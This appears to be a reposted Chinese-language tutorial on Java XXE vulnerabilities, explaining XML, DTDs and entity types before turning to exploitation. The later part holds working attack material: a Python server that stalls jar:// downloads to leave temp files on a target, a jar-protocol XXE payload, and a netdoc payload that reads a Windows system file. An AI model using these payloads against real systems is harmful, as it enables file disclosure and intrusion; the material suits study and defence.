Java XXE 漏洞
1 XML 基礎(chǔ)
XML(可擴(kuò)展標(biāo)記語(yǔ)言,EXtensible Markup Language ),是一種標(biāo)記語(yǔ)言,用來(lái)傳輸和存儲(chǔ)數(shù)據(jù)
1.1 XML文檔結(jié)構(gòu)
XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
<!--XML申明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個(gè)元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]><!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>1.2 DTD
DTD(文檔類型定義,Document Type Definition )的作用是定義XML文檔的合法構(gòu)建模塊。它使用一系列的合法元素來(lái)定義文檔結(jié)構(gòu)。
DTD引用方式
1)DTD 內(nèi)部聲明
<!DOCTYPE 根元素 [元素聲明]>2)DTD 外部引用
<!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URI">3)引用公共DTD
<!DOCTYPE 根元素名稱 PUBLIC "DTD標(biāo)識(shí)名" "公用DTD的URI">DTD 關(guān)鍵字:
- DOCTYPE(DTD的聲明)
- ENTITY(實(shí)體的聲明)
- SYSTEM、PUBLIC(外部資源申請(qǐng))
- ELEMENT(定義元素聲明)
PCDATA
PCDATA 的意思是被解析的字符數(shù)據(jù)(parsed character data)。
可把字符數(shù)據(jù)想象為 XML 元素的開始標(biāo)簽與結(jié)束標(biāo)簽之間的文本。
PCDATA 是會(huì)被解析器解析的文本。這些文本將被解析器檢查實(shí)體以及標(biāo)記。
文本中的標(biāo)簽會(huì)被當(dāng)作標(biāo)記來(lái)處理,而實(shí)體會(huì)被展開。
不過(guò),被解析的字符數(shù)據(jù)不應(yīng)當(dāng)包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 實(shí)體來(lái)分別替換它們。
CDATA
CDATA 的意思是字符數(shù)據(jù)(character data)。
CDATA 是不會(huì)被解析器解析的文本。在這些文本中的標(biāo)簽不會(huì)被當(dāng)作標(biāo)記來(lái)對(duì)待,其中的實(shí)體也不會(huì)被展開。
1.3 實(shí)體分類
實(shí)體可以理解為變量,其必須在DTD中定義申明,可以在文檔中的其他位置引用該變量的值。
實(shí)體按類型主要分為以下四種:
- 內(nèi)置實(shí)體 (Built-in entities)
- 字符實(shí)體 (Character entities)
- 通用實(shí)體/普通實(shí)體 (General entities)
- 參數(shù)實(shí)體 (Parameter entities)
完整的實(shí)體類別可參考 DTD - Entities
1.3.1 內(nèi)置實(shí)體 (Built-in entities)
- &符號(hào): &
- 單引號(hào): '
- >: >
- <: <
- 雙引號(hào): "
1.3.2 字符實(shí)體 (Character entities)
通常是 html 的實(shí)體編碼,例如:
<?xml version = "1.0" encoding = "UTF-8" standalone = "yes"?> <!DOCTYPE author[<!ELEMENT author (#PCDATA)><!ENTITY copyright "©"> ]> <author>&writer;©right;</author>© 即 ?
1.3.3 普通實(shí)體 (General entities)
簡(jiǎn)單理解即引用替換,語(yǔ)法:
<!ENTITY ename "text">Example:
<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY source-text "tutorialspoint"> ]><note>&source-text; </note>1.3.4 參數(shù)實(shí)體 (Parameter entities)
參數(shù)實(shí)體的目的是創(chuàng)建動(dòng)態(tài)替換的文本節(jié)
語(yǔ)法:
<!ENTITY % ename "entity_value">- entity_value 可以是除 &, % 或 " 外所有字符
test323.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person SYSTEM "test323.dtd"> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>test323.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;>參數(shù)實(shí)體必須先定義再使用,而不能像一般實(shí)體那樣隨意放置。
1.4 內(nèi)部實(shí)體和外部實(shí)體
實(shí)體根據(jù)引用方式,還可分為內(nèi)部實(shí)體與外部實(shí)體,看看這些實(shí)體的聲明方式。
內(nèi)部實(shí)體:
<!ENTITY entity_name "entity_value">外部實(shí)體:
<!ENTITY name SYSTEM "URI/URL">1.5 通用實(shí)體和參數(shù)實(shí)體
其實(shí)按照使用來(lái)分類,又可以將實(shí)體分為通用實(shí)體和參數(shù)實(shí)體。
通用實(shí)體
用 &實(shí)體名; 引用的實(shí)體,他在DTD 中定義,在 XML 文檔中引用
參數(shù)實(shí)體
1.5.1 內(nèi)部通用實(shí)體
語(yǔ)法:
<!ENTITY entity-name "entity-value">Example:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[<!ENTITY writer "Donald Duck."><!ENTITY copyright "Copyright runoob.com"> ]> <author>&writer;©right;</author>1.5.2 外部通用實(shí)體
語(yǔ)法:
<!ENTITY entity-name SYSTEM "URI/URL">Example:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"><!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd"> ]> <author>&writer;©right;</author>1.5.3 內(nèi)部參數(shù)實(shí)體
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ENTITY % name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;> ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>1.5.4 外部參數(shù)實(shí)體
test323.xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % (注意這里有個(gè)空格)content SYSTEM "test323.dtd"> %content; ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>test323.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ELEMENT name (#PCDATA)> <!ELEMENT addr (#PCDATA)> <!ELEMENT tel (#PCDATA)> <!ELEMENT br EMPTY> <!ELEMENT email (#PCDATA)>2 Java XML 解析
Java XML 解析 主要相關(guān)的函數(shù)
javax.xml.parsers.DocumentBuilderFactory; javax.xml.parsers.SAXParser javax.xml.transform.TransformerFactory javax.xml.validation.Validator javax.xml.validation.SchemaFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.transform.sax.SAXSource org.xml.sax.XMLReader DocumentHelper.parseText DocumentBuilder org.xml.sax.helpers.XMLReaderFactory org.dom4j.io.SAXReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.bind.Unmarshaller javax.xml.xpath.XpathExpression javax.xml.stream.XMLStreamReader org.apache.commons.digester3.Digester rg.xml.sax.SAXParseExceptionpublicId解析實(shí)例和防御方法可以查看:
http://www.lmxspace.com/2019/10/31/Java-XXE-總結(jié)/
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
3 Java XXE 利用
各平臺(tái)支持的協(xié)議如下
Java中的XXE支持sun.net.www.protocol里面的所有協(xié)議:http,https,file,ftp,mailto,jar,netdoc 。一般利用file協(xié)議讀取文件、利用http協(xié)議探測(cè)內(nèi)網(wǎng),沒(méi)有回顯時(shí)可利用file協(xié)議結(jié)合http協(xié)議或ftp協(xié)議來(lái)讀取文件。
Java XXE 的利用和 php 的查不多,總結(jié)一般的利用方式如下:
- file 協(xié)議讀文件
- 內(nèi)網(wǎng)主機(jī)探測(cè)
- 內(nèi)網(wǎng)端口探測(cè)
- DoS拒絕服務(wù)攻擊
詳細(xì)可以查看:https://www.k0rz3n.com/2018/11/19/一篇文章帶你深入理解 XXE 漏洞/
區(qū)別于 PHP 的利用方式如下
3.1 jar:// 文件上傳
jar 協(xié)議語(yǔ)法,jar:{url}!/{entry},url是文件的路徑,entry是想要解壓出來(lái)的文件
jar 協(xié)議處理文件的過(guò)程:
那么延長(zhǎng)服務(wù)器傳遞文件的時(shí)間,就可以延長(zhǎng)臨時(shí)文件存在的時(shí)間
server.py,這里在傳輸最后一個(gè)字符的時(shí)候會(huì) sleep 30s
import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1]class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self):http_req = b''print('New connection:',self.client_address)while b'\r\n\r\n' not in http_req:try:http_req += self.request.recv(4096)print('Client req:\r\n',http_req.decode())jf = open(jar_file, 'rb')contents = jf.read()headers = ('''HTTP/1.0 200 OK\r\n''''''Content-Type: application/java-archive\r\n\r\n''')self.request.sendall(headers.encode('ascii'))self.request.sendall(contents[:-1])time.sleep(30)print(30)self.request.sendall(contents[-1:])except Exception as e:print ("get error at:"+str(e))if __name__ == '__main__':jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()運(yùn)行服務(wù)器,讓其監(jiān)聽
然后 xxe 結(jié)合 jar 協(xié)議
<!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/1.zip!/wm.php"> ]> <convert>&remote;</convert>因?yàn)?1.zip 中并不存在 wm.php 這個(gè)文件,所以可以在報(bào)錯(cuò)中看到臨時(shí)文件的位置
這里實(shí)際測(cè)試并不一定只能上傳 zip 格式的文件,但因?yàn)?jar 協(xié)議會(huì)對(duì)文件進(jìn)行解包操作,如果不上傳 zip 格式文件在報(bào)錯(cuò)里是看不到臨時(shí)文件路徑的,所以需要先正常上傳一次 zip 格式文件獲取路徑然后再上傳其他文件。
3.2 netdoc 協(xié)議
Java 中 netdoc 協(xié)議可以替代 file 協(xié)議功能,讀文件:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [<!ELEMENT creds ANY><!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">]> <creds>&xxe;</creds>同時(shí)也可以列目錄:
參考鏈接
-
https://thief.one/2017/06/20/1/
-
https://xz.aliyun.com/t/6829
-
一篇文章帶你深入理解 XXE 漏洞 - K0rz3n
-
https://www.smi1e.top/dsada/
總結(jié)
以上是生活随笔為你收集整理的Java XXE 漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 经典测试题总结
- 下一篇: Java游戏实验报告_java俄罗斯方块